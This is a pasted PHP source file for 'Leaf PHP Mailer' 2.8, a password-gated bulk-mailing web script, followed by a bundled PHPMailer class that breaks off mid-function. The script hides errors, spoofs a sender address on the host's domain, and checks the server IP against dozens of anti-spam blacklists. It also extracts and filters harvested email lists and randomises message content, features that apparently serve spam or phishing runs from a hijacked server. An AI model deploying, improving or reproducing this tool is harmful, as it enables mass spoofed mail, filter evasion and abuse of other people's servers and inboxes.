· 5 years ago · Aug 04, 2020, 08:48 AM
1<?php
2/**
3 * Leaf PHP Mailer by [leafmailer.pw]
4 * @version : 2.8
5**/
6
7$password = "waduhek"; // Password
8
9
10
11session_start();
12error_reporting(0);
13set_time_limit(0);
14ini_set("memory_limit",-1);
15
16$leaf['version']="2.8";
17$leaf['website']="leafmailer.pw";
18
19
20$sessioncode = md5(__FILE__);
21if(!empty($password) and $_SESSION[$sessioncode] != $password){
22 if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
23 $_SESSION[$sessioncode] = $password;
24 }
25 else {
26 print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
27 exit;
28 }
29}
30
31session_write_close();
32
33
34function leafClear($text,$email){
35 $e = explode('@', $email);
36 $emailuser=$e[0];
37 $emaildomain=$e[1];
38 $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
39 $text = str_replace("[-email-]", $email, $text);
40 $text = str_replace("[-emailuser-]", $emailuser, $text);
41 $text = str_replace("[-emaildomain-]", $emaildomain, $text);
42 $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
43 $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
44 $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
45 $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
46 return $text;
47}
48function leafTrim($string){
49 $string=urldecode($string);
50 return stripslashes(trim($string));
51}
52function randString($consonants) {
53 $length=rand(12,25);
54 $password = '';
55 for ($i = 0; $i < $length; $i++) {
56 $password .= $consonants[(rand() % strlen($consonants))];
57 }
58 return $password;
59}
60function leafMailCheck($email){
61 if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
62 else return false;
63}
64# Bulit-in BlackList Checker
65if(isset($_GET['check_ip'])){
66 if (isset($_GET['host'])){
67 $_GET['host']=explode(",", $_GET['host']);
68 foreach ($_GET['host'] as $host) {
69 if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
70 else $check= "<font color='green'> Clean</font>";
71 print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
72 }
73
74 exit;
75 }
76 $dnsbl_lookup = [
77 "all.s5h.net",
78 "b.barracudacentral.org",
79 "bl.spamcop.net",
80 "blacklist.woody.ch",
81 "bogons.cymru.com",
82 "cbl.abuseat.org",
83 "cdl.anti-spam.org.cn",
84 "combined.abuse.ch",
85 "db.wpbl.info",
86 "dnsbl-1.uceprotect.net",
87 "dnsbl-2.uceprotect.net",
88 "dnsbl-3.uceprotect.net",
89 "dnsbl.anticaptcha.net",
90 "dnsbl.dronebl.org",
91 "dnsbl.inps.de",
92 "dnsbl.sorbs.net",
93 "drone.abuse.ch",
94 "duinv.aupads.org",
95 "dul.dnsbl.sorbs.net",
96 "dyna.spamrats.com",
97 "dynip.rothen.com",
98 "http.dnsbl.sorbs.net",
99 "ips.backscatterer.org",
100 "ix.dnsbl.manitu.net",
101 "korea.services.net",
102 "misc.dnsbl.sorbs.net",
103 "noptr.spamrats.com",
104 "orvedb.aupads.org",
105 "pbl.spamhaus.org",
106 "proxy.bl.gweep.ca",
107 "psbl.surriel.com",
108 "relays.bl.gweep.ca",
109 "relays.nether.net",
110 "sbl.spamhaus.org",
111 "short.rbl.jp",
112 "singular.ttk.pte.hu",
113 "smtp.dnsbl.sorbs.net",
114 "socks.dnsbl.sorbs.net",
115 "spam.abuse.ch",
116 "spam.dnsbl.anonmails.de",
117 "spam.dnsbl.sorbs.net",
118 "spam.spamrats.com",
119 "spambot.bls.digibase.ca",
120 "spamrbl.imp.ch",
121 "spamsources.fabel.dk",
122 "ubl.lashback.com",
123 "ubl.unsubscore.com",
124 "virus.rbl.jp",
125 "web.dnsbl.sorbs.net",
126 "wormrbl.imp.ch",
127 "xbl.spamhaus.org",
128 "z.mailspike.net",
129 "zen.spamhaus.org",
130 "zombie.dnsbl.sorbs.net",
131 ];
132 $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
133 $dnsT = count($dnsbl_lookup);
134 leafheader();
135 print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
136 Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
137 $dnsN="";
138 print '<table >';
139 for ($i=0; $i < $dnsT; $i=$i+10) {
140 $host="";
141 $hosts="";
142 for($j=$i; $j<$i+10;$j++){
143 $host=$dnsbl_lookup[$j];
144 if(!empty($host)){
145 print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
146 $hosts .="$host,";
147 }
148 }
149 $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
150 }
151
152 print '</table></div>';
153 print $dnsN;
154 exit;
155}
156if(isset($_GET['emailfilter'])){
157
158 if(!empty($_FILES['fileToUpload']['tmp_name'])){
159 $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
160 }
161 $_POST['emailList']=strtolower($_POST['emailList']);
162 if($_GET['emailfilter']=="ifram"){
163 if ($_POST['resulttype'] == "download"){
164 header("Content-Description: File Transfer");
165 header("Content-Type: application/octet-stream");
166 header("Content-Disposition: attachment; filename=emails".time().".txt");
167 }
168 else {
169 header("Content-Type: text/plain");
170 }
171 if($_POST['submit']=="extract"){
172 $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
173 preg_match_all($pattern, $_POST['emailList'], $matches);
174 foreach ($matches[0] as $email) {
175 print $email."\n";
176 }
177 }
178 elseif ($_POST['submit']=="filter") {
179 $emails=explode("\n", $_POST['emailList']);
180 $keywords=explode("\n", strtolower($_POST['keywords']));
181 foreach ($emails as $email) {
182 foreach ($keywords as $keyword ) {
183 if(strstr($email, $keyword) ){
184 print $email."\n";
185 break;
186 }
187
188 }
189 }
190
191 }
192 exit;
193 }
194 leafheader();
195 print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
196 print '
197 <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
198 <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
199 or
200
201 <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
202 <div class="col-lg-12">
203 <div class="radio">
204 <label>
205 <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
206 Show Result in this page
207 </label>
208 </div>
209 <div class="radio">
210 <label>
211 <input type="radio" name="resulttype" id="resulttype" value="download">
212 Download Result (for big numbers)
213 </label>
214 </div>
215 </div>
216 <legend><h4>Extract Email</h4></legend>
217 Detecting every email (100%) and order them line by line <br><br>
218 <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
219 <legend><h4>Filter Emails</h4></legend>
220 <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
221hotmail.com
222yahoo.com
223.co.uk</textarea><br>
224
225 <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
226 </form>
227 <label >Result </label>
228 <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
229 ';
230 exit;
231
232}
233$html="checked";
234$utf8="selected";
235$bit8="selected";
236
237if($_POST['action']=="send" or $_POST['action']=="score"){
238
239 $senderEmail=leafTrim($_POST['senderEmail']);
240 $senderName=leafTrim($_POST['senderName']);
241 $replyTo=leafTrim($_POST['replyTo']);
242 $subject=leafTrim($_POST['subject']);
243 $emailList=leafTrim($_POST['emailList']);
244 $messageType=leafTrim($_POST['messageType']);
245 $messageLetter=leafTrim($_POST['messageLetter']);
246 $encoding = $_POST['encode'];
247 $charset = $_POST['charset'];
248 $html="";
249 $utf8="";
250 $bit8="";
251
252 if($messageType==2) $plain="checked";
253 else $html="checked";
254
255 if($charset=="ISO-8859-1") $iso="selected";
256 else $utf8="selected";
257
258 if($encoding=="7bit") $bit7="selected";
259 elseif($encoding=="binary") $binary="selected";
260 elseif($encoding=="base64") $base64="selected";
261 elseif($encoding=="quoted-printable") $quotedprintable="selected";
262 else $bit8="selected";
263
264
265
266}
267if($_POST['action']=="view"){
268 $viewMessage=leafTrim($_POST['messageLetter']);
269 $viewMessage=leafClear($viewMessage,"user@domain.com");
270 if ($_POST['messageType']==2){
271 print "<pre>".htmlspecialchars($viewMessage)."</pre>";
272 }
273 else {
274 print $viewMessage;
275 }
276 exit;
277}
278
279
280
281if(!isset($_POST['senderEmail'])){
282 $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
283 if (!leafMailCheck($senderEmail)) $senderEmail="";
284}
285
286class PHPMailer
287{
288 /**
289 * The PHPMailer Version number.
290 * @var string
291 */
292 public $Version = '5.2.28';
293
294 /**
295 * Email priority.
296 * Options: null (default), 1 = High, 3 = Normal, 5 = low.
297 * When null, the header is not set at all.
298 * @var integer
299 */
300 public $Priority = null;
301
302 /**
303 * The character set of the message.
304 * @var string
305 */
306 public $CharSet = 'iso-8859-1';
307
308 /**
309 * The MIME Content-type of the message.
310 * @var string
311 */
312 public $ContentType = 'text/plain';
313
314 /**
315 * The message encoding.
316 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
317 * @var string
318 */
319 public $Encoding = '8bit';
320
321 /**
322 * Holds the most recent mailer error message.
323 * @var string
324 */
325 public $ErrorInfo = '';
326
327 /**
328 * The From email address for the message.
329 * @var string
330 */
331 public $From = 'root@localhost';
332
333 /**
334 * The From name of the message.
335 * @var string
336 */
337 public $FromName = 'Root User';
338
339 /**
340 * The Sender email (Return-Path) of the message.
341 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
342 * @var string
343 */
344 public $Sender = '';
345
346 /**
347 * The Return-Path of the message.
348 * If empty, it will be set to either From or Sender.
349 * @var string
350 * @deprecated Email senders should never set a return-path header;
351 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
352 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
353 */
354 public $ReturnPath = '';
355
356 /**
357 * The Subject of the message.
358 * @var string
359 */
360 public $Subject = '';
361
362 /**
363 * An HTML or plain text message body.
364 * If HTML then call isHTML(true).
365 * @var string
366 */
367 public $Body = '';
368
369 /**
370 * The plain-text message body.
371 * This body can be read by mail clients that do not have HTML email
372 * capability such as mutt & Eudora.
373 * Clients that can read HTML will view the normal Body.
374 * @var string
375 */
376 public $AltBody = '';
377
378 /**
379 * An iCal message part body.
380 * Only supported in simple alt or alt_inline message types
381 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
382 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
383 * @link http://kigkonsult.se/iCalcreator/
384 * @var string
385 */
386 public $Ical = '';
387
388 /**
389 * The complete compiled MIME message body.
390 * @access protected
391 * @var string
392 */
393 protected $MIMEBody = '';
394
395 /**
396 * The complete compiled MIME message headers.
397 * @var string
398 * @access protected
399 */
400 protected $MIMEHeader = '';
401
402 /**
403 * Extra headers that createHeader() doesn't fold in.
404 * @var string
405 * @access protected
406 */
407 protected $mailHeader = '';
408
409 /**
410 * Word-wrap the message body to this number of chars.
411 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
412 * @var integer
413 */
414 public $WordWrap = 0;
415
416 /**
417 * Which method to use to send mail.
418 * Options: "mail", "sendmail", or "smtp".
419 * @var string
420 */
421 public $Mailer = 'mail';
422
423 /**
424 * The path to the sendmail program.
425 * @var string
426 */
427 public $Sendmail = '/usr/sbin/sendmail';
428
429 /**
430 * Whether mail() uses a fully sendmail-compatible MTA.
431 * One which supports sendmail's "-oi -f" options.
432 * @var boolean
433 */
434 public $UseSendmailOptions = true;
435
436 /**
437 * Path to PHPMailer plugins.
438 * Useful if the SMTP class is not in the PHP include path.
439 * @var string
440 * @deprecated Should not be needed now there is an autoloader.
441 */
442 public $PluginDir = '';
443
444 /**
445 * The email address that a reading confirmation should be sent to, also known as read receipt.
446 * @var string
447 */
448 public $ConfirmReadingTo = '';
449
450 /**
451 * The hostname to use in the Message-ID header and as default HELO string.
452 * If empty, PHPMailer attempts to find one with, in order,
453 * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
454 * 'localhost.localdomain'.
455 * @var string
456 */
457 public $Hostname = '';
458
459 /**
460 * An ID to be used in the Message-ID header.
461 * If empty, a unique id will be generated.
462 * You can set your own, but it must be in the format "<id@domain>",
463 * as defined in RFC5322 section 3.6.4 or it will be ignored.
464 * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
465 * @var string
466 */
467 public $MessageID = '';
468
469 /**
470 * The message Date to be used in the Date header.
471 * If empty, the current date will be added.
472 * @var string
473 */
474 public $MessageDate = '';
475
476 /**
477 * SMTP hosts.
478 * Either a single hostname or multiple semicolon-delimited hostnames.
479 * You can also specify a different port
480 * for each host by using this format: [hostname:port]
481 * (e.g. "smtp1.example.com:25;smtp2.example.com").
482 * You can also specify encryption type, for example:
483 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
484 * Hosts will be tried in order.
485 * @var string
486 */
487 public $Host = 'localhost';
488
489 /**
490 * The default SMTP server port.
491 * @var integer
492 * @TODO Why is this needed when the SMTP class takes care of it?
493 */
494 public $Port = 25;
495
496 /**
497 * The SMTP HELO of the message.
498 * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
499 * one with the same method described above for $Hostname.
500 * @var string
501 * @see PHPMailer::$Hostname
502 */
503 public $Helo = '';
504
505 /**
506 * What kind of encryption to use on the SMTP connection.
507 * Options: '', 'ssl' or 'tls'
508 * @var string
509 */
510 public $SMTPSecure = '';
511
512 /**
513 * Whether to enable TLS encryption automatically if a server supports it,
514 * even if `SMTPSecure` is not set to 'tls'.
515 * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
516 * @var boolean
517 */
518 public $SMTPAutoTLS = true;
519
520 /**
521 * Whether to use SMTP authentication.
522 * Uses the Username and Password properties.
523 * @var boolean
524 * @see PHPMailer::$Username
525 * @see PHPMailer::$Password
526 */
527 public $SMTPAuth = false;
528
529 /**
530 * Options array passed to stream_context_create when connecting via SMTP.
531 * @var array
532 */
533 public $SMTPOptions = array();
534
535 /**
536 * SMTP username.
537 * @var string
538 */
539 public $Username = '';
540
541 /**
542 * SMTP password.
543 * @var string
544 */
545 public $Password = '';
546
547 /**
548 * SMTP auth type.
549 * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
550 * @var string
551 */
552 public $AuthType = '';
553
554 /**
555 * SMTP realm.
556 * Used for NTLM auth
557 * @var string
558 */
559 public $Realm = '';
560
561 /**
562 * SMTP workstation.
563 * Used for NTLM auth
564 * @var string
565 */
566 public $Workstation = '';
567
568 /**
569 * The SMTP server timeout in seconds.
570 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
571 * @var integer
572 */
573 public $Timeout = 300;
574
575 /**
576 * SMTP class debug output mode.
577 * Debug output level.
578 * Options:
579 * * `0` No output
580 * * `1` Commands
581 * * `2` Data and commands
582 * * `3` As 2 plus connection status
583 * * `4` Low-level data output
584 * @var integer
585 * @see SMTP::$do_debug
586 */
587 public $SMTPDebug = 0;
588
589 /**
590 * How to handle debug output.
591 * Options:
592 * * `echo` Output plain-text as-is, appropriate for CLI
593 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
594 * * `error_log` Output to error log as configured in php.ini
595 *
596 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
597 * <code>
598 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
599 * </code>
600 * @var string|callable
601 * @see SMTP::$Debugoutput
602 */
603 public $Debugoutput = 'echo';
604
605 /**
606 * Whether to keep SMTP connection open after each message.
607 * If this is set to true then to close the connection
608 * requires an explicit call to smtpClose().
609 * @var boolean
610 */
611 public $SMTPKeepAlive = false;
612
613 /**
614 * Whether to split multiple to addresses into multiple messages
615 * or send them all in one message.
616 * Only supported in `mail` and `sendmail` transports, not in SMTP.
617 * @var boolean
618 */
619 public $SingleTo = false;
620
621 /**
622 * Storage for addresses when SingleTo is enabled.
623 * @var array
624 * @TODO This should really not be public
625 */
626 public $SingleToArray = array();
627
628 /**
629 * Whether to generate VERP addresses on send.
630 * Only applicable when sending via SMTP.
631 * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
632 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
633 * @var boolean
634 */
635 public $do_verp = false;
636
637 /**
638 * Whether to allow sending messages with an empty body.
639 * @var boolean
640 */
641 public $AllowEmpty = false;
642
643 /**
644 * The default line ending.
645 * @note The default remains "\n". We force CRLF where we know
646 * it must be used via self::CRLF.
647 * @var string
648 */
649 public $LE = "\n";
650
651 /**
652 * DKIM selector.
653 * @var string
654 */
655 public $DKIM_selector = '';
656
657 /**
658 * DKIM Identity.
659 * Usually the email address used as the source of the email.
660 * @var string
661 */
662 public $DKIM_identity = '';
663
664 /**
665 * DKIM passphrase.
666 * Used if your key is encrypted.
667 * @var string
668 */
669 public $DKIM_passphrase = '';
670
671 /**
672 * DKIM signing domain name.
673 * @example 'example.com'
674 * @var string
675 */
676 public $DKIM_domain = '';
677
678 /**
679 * DKIM private key file path.
680 * @var string
681 */
682 public $DKIM_private = '';
683
684 /**
685 * DKIM private key string.
686 * If set, takes precedence over `$DKIM_private`.
687 * @var string
688 */
689 public $DKIM_private_string = '';
690
691 /**
692 * Callback Action function name.
693 *
694 * The function that handles the result of the send email action.
695 * It is called out by send() for each email sent.
696 *
697 * Value can be any php callable: http://www.php.net/is_callable
698 *
699 * Parameters:
700 * boolean $result result of the send action
701 * array $to email addresses of the recipients
702 * array $cc cc email addresses
703 * array $bcc bcc email addresses
704 * string $subject the subject
705 * string $body the email body
706 * string $from email address of sender
707 * @var string
708 */
709 public $action_function = '';
710
711 /**
712 * What to put in the X-Mailer header.
713 * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
714 * @var string
715 */
716 public $XMailer = ' ';
717
718 /**
719 * Which validator to use by default when validating email addresses.
720 * May be a callable to inject your own validator, but there are several built-in validators.
721 * @see PHPMailer::validateAddress()
722 * @var string|callable
723 * @static
724 */
725 public static $validator = 'auto';
726
727 /**
728 * An instance of the SMTP sender class.
729 * @var SMTP
730 * @access protected
731 */
732 protected $smtp = null;
733
734 /**
735 * The array of 'to' names and addresses.
736 * @var array
737 * @access protected
738 */
739 protected $to = array();
740
741 /**
742 * The array of 'cc' names and addresses.
743 * @var array
744 * @access protected
745 */
746 protected $cc = array();
747
748 /**
749 * The array of 'bcc' names and addresses.
750 * @var array
751 * @access protected
752 */
753 protected $bcc = array();
754
755 /**
756 * The array of reply-to names and addresses.
757 * @var array
758 * @access protected
759 */
760 protected $ReplyTo = array();
761
762 /**
763 * An array of all kinds of addresses.
764 * Includes all of $to, $cc, $bcc
765 * @var array
766 * @access protected
767 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
768 */
769 protected $all_recipients = array();
770
771 /**
772 * An array of names and addresses queued for validation.
773 * In send(), valid and non duplicate entries are moved to $all_recipients
774 * and one of $to, $cc, or $bcc.
775 * This array is used only for addresses with IDN.
776 * @var array
777 * @access protected
778 * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
779 * @see PHPMailer::$all_recipients
780 */
781 protected $RecipientsQueue = array();
782
783 /**
784 * An array of reply-to names and addresses queued for validation.
785 * In send(), valid and non duplicate entries are moved to $ReplyTo.
786 * This array is used only for addresses with IDN.
787 * @var array
788 * @access protected
789 * @see PHPMailer::$ReplyTo
790 */
791 protected $ReplyToQueue = array();
792
793 /**
794 * The array of attachments.
795 * @var array
796 * @access protected
797 */
798 protected $attachment = array();
799
800 /**
801 * The array of custom headers.
802 * @var array
803 * @access protected
804 */
805 protected $CustomHeader = array();
806
807 /**
808 * The most recent Message-ID (including angular brackets).
809 * @var string
810 * @access protected
811 */
812 protected $lastMessageID = '';
813
814 /**
815 * The message's MIME type.
816 * @var string
817 * @access protected
818 */
819 protected $message_type = '';
820
821 /**
822 * The array of MIME boundary strings.
823 * @var array
824 * @access protected
825 */
826 protected $boundary = array();
827
828 /**
829 * The array of available languages.
830 * @var array
831 * @access protected
832 */
833 protected $language = array();
834
835 /**
836 * The number of errors encountered.
837 * @var integer
838 * @access protected
839 */
840 protected $error_count = 0;
841
842 /**
843 * The S/MIME certificate file path.
844 * @var string
845 * @access protected
846 */
847 protected $sign_cert_file = '';
848
849 /**
850 * The S/MIME key file path.
851 * @var string
852 * @access protected
853 */
854 protected $sign_key_file = '';
855
856 /**
857 * The optional S/MIME extra certificates ("CA Chain") file path.
858 * @var string
859 * @access protected
860 */
861 protected $sign_extracerts_file = '';
862
863 /**
864 * The S/MIME password for the key.
865 * Used only if the key is encrypted.
866 * @var string
867 * @access protected
868 */
869 protected $sign_key_pass = '';
870
871 /**
872 * Whether to throw exceptions for errors.
873 * @var boolean
874 * @access protected
875 */
876 protected $exceptions = false;
877
878 /**
879 * Unique ID used for message ID and boundaries.
880 * @var string
881 * @access protected
882 */
883 protected $uniqueid = '';
884
885 /**
886 * Error severity: message only, continue processing.
887 */
888 const STOP_MESSAGE = 0;
889
890 /**
891 * Error severity: message, likely ok to continue processing.
892 */
893 const STOP_CONTINUE = 1;
894
895 /**
896 * Error severity: message, plus full stop, critical error reached.
897 */
898 const STOP_CRITICAL = 2;
899
900 /**
901 * SMTP RFC standard line ending.
902 */
903 const CRLF = "\r\n";
904
905 /**
906 * The maximum line length allowed by RFC 2822 section 2.1.1
907 * @var integer
908 */
909 const MAX_LINE_LENGTH = 998;
910
911 /**
912 * Constructor.
913 * @param boolean $exceptions Should we throw external exceptions?
914 */
915 public function __construct($exceptions = null)
916 {
917 if ($exceptions !== null) {
918 $this->exceptions = (boolean)$exceptions;
919 }
920 //Pick an appropriate debug output format automatically
921 $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
922 }
923
924 /**
925 * Destructor.
926 */
927 public function __destruct()
928 {
929 //Close any open SMTP connection nicely
930 $this->smtpClose();
931 }
932
933 /**
934 * Call mail() in a safe_mode-aware fashion.
935 * Also, unless sendmail_path points to sendmail (or something that
936 * claims to be sendmail), don't pass params (not a perfect fix,
937 * but it will do)
938 * @param string $to To
939 * @param string $subject Subject
940 * @param string $body Message Body
941 * @param string $header Additional Header(s)
942 * @param string $params Params
943 * @access private
944 * @return boolean
945 */
946 private function mailPassthru($to, $subject, $body, $header, $params)
947 {
948 //Check overloading of mail function to avoid double-encoding
949 if (ini_get('mbstring.func_overload') & 1) {
950 $subject = $this->secureHeader($subject);
951 } else {
952 $subject = $this->encodeHeader($this->secureHeader($subject));
953 }
954
955 //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
956 //@link http://php.net/manual/en/function.mail.php
957 if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
958 $result = @mail($to, $subject, $body, $header);
959 } else {
960 $result = @mail($to, $subject, $body, $header, $params);
961 }
962 return $result;
963 }
964 /**
965 * Output debugging info via user-defined method.
966 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
967 * @see PHPMailer::$Debugoutput
968 * @see PHPMailer::$SMTPDebug
969 * @param string $str
970 */
971 protected function edebug($str)
972 {
973 if ($this->SMTPDebug <= 0) {
974 return;
975 }
976 //Avoid clash with built-in function names
977 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
978 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
979 return;
980 }
981 switch ($this->Debugoutput) {
982 case 'error_log':
983 //Don't output, just log
984 error_log($str);
985 break;
986 case 'html':
987 //Cleans up output a bit for a better looking, HTML-safe output
988 echo htmlentities(
989 preg_replace('/[\r\n]+/', '', $str),
990 ENT_QUOTES,
991 'UTF-8'
992 )
993 . "<br>\n";
994 break;
995 case 'echo':
996 default:
997 //Normalize line breaks
998 $str = preg_replace('/\r\n?/ms', "\n", $str);
999 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
1000 "\n",
1001 "\n \t ",
1002 trim($str)
1003 ) . "\n";
1004 }
1005 }
1006
1007 /**
1008 * Send messages using SMTP.
1009 * @return void
1010 */
1011 public function isSMTP()
1012 {
1013 $this->Mailer = 'smtp';
1014 }
1015
1016 /**
1017 * Send messages using PHP's mail() function.
1018 * @return void
1019 */
1020 public function isMail()
1021 {
1022 $this->Mailer = 'mail';
1023 }
1024
1025 /**
1026 * Send messages using $Sendmail.
1027 * @return void
1028 */
1029 public function isSendmail()
1030 {
1031 $ini_sendmail_path = ini_get('sendmail_path');
1032
1033 if (!stristr($ini_sendmail_path, 'sendmail')) {
1034 $this->Sendmail = '/usr/sbin/sendmail';
1035 } else {
1036 $this->Sendmail = $ini_sendmail_path;
1037 }
1038 $this->Mailer = 'sendmail';
1039 }
1040
1041 /**
1042 * Send messages using qmail.
1043 * @return void
1044 */
1045 public function isQmail()
1046 {
1047 $ini_sendmail_path = ini_get('sendmail_path');
1048
1049 if (!stristr($ini_sendmail_path, 'qmail')) {
1050 $this->Sendmail = '/var/qmail/bin/qmail-inject';
1051 } else {
1052 $this->Sendmail = $ini_sendmail_path;
1053 }
1054 $this->Mailer = 'qmail';
1055 }
1056
1057 /**
1058 * Add a "To" address.
1059 * @param string $address The email address to send to
1060 * @param string $name
1061 * @return boolean true on success, false if address already used or invalid in some way
1062 */
1063 public function addAddress($address, $name = '')
1064 {
1065 return $this->addOrEnqueueAnAddress('to', $address, $name);
1066 }
1067
1068 /**
1069 * Add a "CC" address.
1070 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1071 * @param string $address The email address to send to
1072 * @param string $name
1073 * @return boolean true on success, false if address already used or invalid in some way
1074 */
1075 public function addCC($address, $name = '')
1076 {
1077 return $this->addOrEnqueueAnAddress('cc', $address, $name);
1078 }
1079
1080 /**
1081 * Add a "BCC" address.
1082 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1083 * @param string $address The email address to send to
1084 * @param string $name
1085 * @return boolean true on success, false if address already used or invalid in some way
1086 */
1087 public function addBCC($address, $name = '')
1088 {
1089 return $this->addOrEnqueueAnAddress('bcc', $address, $name);
1090 }
1091
1092 /**
1093 * Add a "Reply-To" address.
1094 * @param string $address The email address to reply to
1095 * @param string $name
1096 * @return boolean true on success, false if address already used or invalid in some way
1097 */
1098 public function addReplyTo($address, $name = '')
1099 {
1100 return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
1101 }
1102
1103 /**
1104 * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
1105 * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
1106 * be modified after calling this function), addition of such addresses is delayed until send().
1107 * Addresses that have been added already return false, but do not throw exceptions.
1108 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1109 * @param string $address The email address to send, resp. to reply to
1110 * @param string $name
1111 * @throws phpmailerException
1112 * @return boolean true on success, false if address already used or invalid in some way
1113 * @access protected
1114 */
1115 protected function addOrEnqueueAnAddress($kind, $address, $name)
1116 {
1117 $address = trim($address);
1118 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1119 if (($pos = strrpos($address, '@')) === false) {
1120 // At-sign is misssing.
1121 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1122 $this->setError($error_message);
1123 $this->edebug($error_message);
1124 if ($this->exceptions) {
1125 throw new phpmailerException($error_message);
1126 }
1127 return false;
1128 }
1129 $params = array($kind, $address, $name);
1130 // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
1131 if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
1132 if ($kind != 'Reply-To') {
1133 if (!array_key_exists($address, $this->RecipientsQueue)) {
1134 $this->RecipientsQueue[$address] = $params;
1135 return true;
1136 }
1137 } else {
1138 if (!array_key_exists($address, $this->ReplyToQueue)) {
1139 $this->ReplyToQueue[$address] = $params;
1140 return true;
1141 }
1142 }
1143 return false;
1144 }
1145 // Immediately add standard addresses without IDN.
1146 return call_user_func_array(array($this, 'addAnAddress'), $params);
1147 }
1148
1149 /**
1150 * Add an address to one of the recipient arrays or to the ReplyTo array.
1151 * Addresses that have been added already return false, but do not throw exceptions.
1152 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1153 * @param string $address The email address to send, resp. to reply to
1154 * @param string $name
1155 * @throws phpmailerException
1156 * @return boolean true on success, false if address already used or invalid in some way
1157 * @access protected
1158 */
1159 protected function addAnAddress($kind, $address, $name = '')
1160 {
1161 if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
1162 $error_message = $this->lang('Invalid recipient kind: ') . $kind;
1163 $this->setError($error_message);
1164 $this->edebug($error_message);
1165 if ($this->exceptions) {
1166 throw new phpmailerException($error_message);
1167 }
1168 return false;
1169 }
1170 if (!$this->validateAddress($address)) {
1171 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1172 $this->setError($error_message);
1173 $this->edebug($error_message);
1174 if ($this->exceptions) {
1175 throw new phpmailerException($error_message);
1176 }
1177 return false;
1178 }
1179 if ($kind != 'Reply-To') {
1180 if (!array_key_exists(strtolower($address), $this->all_recipients)) {
1181 array_push($this->$kind, array($address, $name));
